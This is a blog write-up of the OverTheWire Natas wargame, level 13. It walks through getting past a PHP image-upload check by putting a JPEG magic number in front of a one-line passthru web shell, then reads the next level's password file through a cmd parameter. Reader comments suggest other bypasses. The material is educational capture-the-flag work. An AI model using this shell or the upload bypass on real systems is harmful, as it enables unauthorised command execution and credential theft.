Tuesday, October 30, 2012

OvertheWire - Natas Wargame Level 13 Writeup

Level 13

Using the credentials obtained in the previous post, we can log in to Level 13, where we are presented with the following:

It appears as though this new challenge only accepts image files. Let's start the same way as last time and look at the source:

 <head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>   
 <div id="content">   
 For security reasons, we now only accept image files!<br/><br/>   
 function genRandomString() {   
   $length = 10;   
   $characters = "0123456789abcdefghijklmnopqrstuvwxyz";   
   $string = "";     
   for ($p = 0; $p < $length; $p++) {   
     $string .= $characters[mt_rand(0, strlen($characters)-1)];   
   return $string;   
 function makeRandomPath($dir, $ext) {   
   do {   
   $path = $dir."/".genRandomString().".".$ext;   
   } while(file_exists($path));   
   return $path;   
 function makeRandomPathFromFilename($dir, $fn) {   
   $ext = pathinfo($fn, PATHINFO_EXTENSION);   
   return makeRandomPath($dir, $ext);   
 if(array_key_exists("filename", $_POST)) {   
   $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);   
     if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {   
     echo "File is too big";   
   } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {   
     echo "File is not an image";   
   } else {   
     if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {   
       echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";  
     } else{   
       echo "There was an error uploading the file, please try again!";   
 } else {   
 <form enctype="multipart/form-data" action="index.php" method="POST">   
 <input type="hidden" name="MAX_FILE_SIZE" value="1000" />   
 <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />   
 Choose a JPEG to upload (max 1KB):<br/>   
 <input name="uploadedfile" type="file" /><br />   
 <input type="submit" value="Upload File" />   
 <? } ?>   
 <div id="viewsource"><a href="index-source.html">View sourcecode</a></div>   

To make things easier, I have highlighted the changes since the previous challenge. Using this knowledge, we can assume that we want to find a way to again upload a PHP file which will give us system command execution. With that in mind, let's think about how to tackle this challenge.

A good rule of thumb to remember when dealing with Wargames or CTFs is that if a challenge is different than its previous counterpart by one or two lines, those are the lines that matter. Knowing this, there must be some way to bypass the new exif_imagetype function. Let's start by going straight to the documentation.

The documentation for this function says that it will return a constant (which we can see is > 0) if and only if the first bytes of an image are successfully checked against a signature. What does this mean? Well, most filetypes such as JPEG, ZIP, TAR, etc. have a "Magic Number" at the beginning of the file to help verify its file type. So to pass the exif_imagetype function check, our file must start with the magic number of a supported image format.

But wait, won't that make the file unusable? The answer is no, because if we are still able to pass our file with a .php extension then the file will be parsed as PHP, and the only code that will be executed will be that within the opening (<?) and closing (?>) PHP tags. We can start our file with anything we want.

Now we simply research a supported file format of our choice and find the magic number. I chose JPEG and found the magic number here. I then used the following short Python script to create my file.

 >>> fh = open('shell.php','w')  
 >>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')  
 >>> fh.close()  

With my file created, I can use the same steps outlined in the previous post to upload my file. Let's see what happens:

Awesome. As expected, our file was uploaded successfully, and by browsing to the URL [filename].php?cmd=cat /etc/natas_webpass/natas14, we receive the following:

A big thank you goes out to Reddit user fryboy for catching why the first four characters are included in the output. I completely overlooked the fact that anything outside of the PHP code tags is simply echoed back to the server. Therefore, these first 4 bytes are our magic number. With this being the case, our key is everything starting with the lower-case 's'. We can use this to log in to the next challenge.

Almost there! More writeups to come.



  1. Worth mentioning that in IE, you aren't shown the output but instead, a broken image placeholder. With FireFox, this works.

  2. Another solution:
    Just append BMP at the beginning of the shell


  3. By putting PRE-tags around the cmd-command, you get a nicer output + seperation between output and those prepending characters

    1. Oh, and Tamper Data is good enough to alter the extension + you can use it for the cookie forgery too